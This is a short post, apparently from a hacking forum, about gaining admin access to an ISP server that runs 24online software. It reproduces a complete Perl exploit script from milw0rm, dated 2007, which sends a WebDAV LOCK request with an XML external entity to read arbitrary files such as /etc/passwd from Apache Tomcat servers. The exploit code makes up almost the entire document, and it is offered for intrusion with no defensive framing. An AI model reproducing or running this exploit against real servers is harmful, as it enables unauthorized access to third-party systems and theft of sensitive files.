Gaining Admin access to ISP server which runs on JSP. Runs 24online software.

Code
#!/usr/bin/perl

#******************************************************

# Apache Tomcat Remote File Disclosure Zeroday Xploit

# kcdarookie aka eliteb0y / 2007

#

# thanx to the whole team & andi :)

# +++KEEP PRIV8+++

#

# This Bug may reside in different WebDav implementations,

# Warp your mind!

# +You will need auth for the exploit to work...

#******************************************************

 

use IO::Socket;

use MIME::Base64; ### FIXME! Maybe support other auths too ?

 

# SET REMOTE PORT HERE

$remoteport = 8080;

 

sub usage {

    print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";

    print "kcdarookie aka eliteb0y / 2007\n";

    print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]\n";

    print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat\n";exit;

}

 

if ($#ARGV < 2) {usage();}

 

$hostname = $ARGV[0];

$webdavfile = $ARGV[1];

$remotefile = $ARGV[2];

 

$username = $ARGV[3];

$password = $ARGV[4];

 

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,

                              PeerPort => $remoteport,

                              Proto    => 'tcp');

                               

$|=1;

$BasicAuth = encode_base64("$username:$password");

 

$KRADXmL =

"<?xml version=\"1.0\"?>\n"

."<!DOCTYPE REMOTE [\n"

."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"

."]>\n"

."<D:lockinfo xmlns:D='DAV:'>\n"

."<D:lockscope><D:exclusive/></D:lockscope>\n"

."<D:locktype><D:write/></D:locktype>\n"

."<D:owner>\n"

."<D:href>\n"

."<REMOTE>\n"

."<RemoteX>&RemoteX;</RemoteX>\n"

."</REMOTE>\n"

."</D:href>\n"

."</D:owner>\n"

."</D:lockinfo>\n";

 

print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";

print "kcdarookie aka eliteb0y / 2007\n";

print "Launching Remote Exploit...\n";

 

$ExploitRequest =

 "LOCK $webdavfile HTTP/1.1\r\n"

."Host: $hostname\r\n";

 

if ($username ne "") {

$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";  

}

$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

 

print $sock $ExploitRequest;

 

while(<$sock>) {

    print;

}

 

# milw0rm.com [2007-10-14]